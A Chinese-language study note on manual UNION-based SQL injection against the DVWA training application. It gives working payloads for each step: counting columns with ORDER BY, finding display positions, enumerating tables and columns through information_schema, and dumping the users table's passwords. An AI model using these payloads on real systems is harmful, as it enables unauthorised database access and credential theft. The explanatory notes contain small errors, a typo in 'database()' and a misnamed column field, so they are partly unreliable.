注入步驟
- 找注入點且得到閉合字符
- 判斷數據庫類型
- 猜解列數,得到顯示位
- 得到基本信息(如:數據庫名、數據庫版本、當前數據庫名等)
- 得到數據庫名
- 得到表名
- 得到列名
- 得到列值
1 1' order by 3 -- - 錯誤
2 1' order by 1 -- - 正確
3 1' order by 2 -- - 正確 (判斷有幾列,在這里有兩列)
4
5
6 1' union select 1,2 -- - (查看回顯位)
7
8 1' union select user(),database() -- - (查看庫名)
9 1' union select table_name,2 from information_schema.tables where table_schema=database() -- - (查看表名)
10 1' union select column_name,2 from information_schema.columns where table_name='users' -- - (查看列名)
11 1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' -- - (用group_concat 能讓查看的數據出現在一行 )
12 -> DVWA數據庫的users數據表中有以下幾列:
13 user_id,first_name,last_name,user,password,avatar,last_login,failed_login
14 --------------------------------------------------------------------------- 獲取數據庫結構。
15
16 1' union select 1,group_concat(password) from users -- -
1 命令中的一些注意:
2 information_schema.tables 和 information_schema.columns 都是information_schema 中的表
3 table_schema 數據庫名
4 table_name 數據庫里面的表名
5 table_column 數據庫表里的列名
6 from 要放到 union select 后面
7 例如 group_concat(table_name),2,3,4 from information_schema.tables where table_schema=dababase()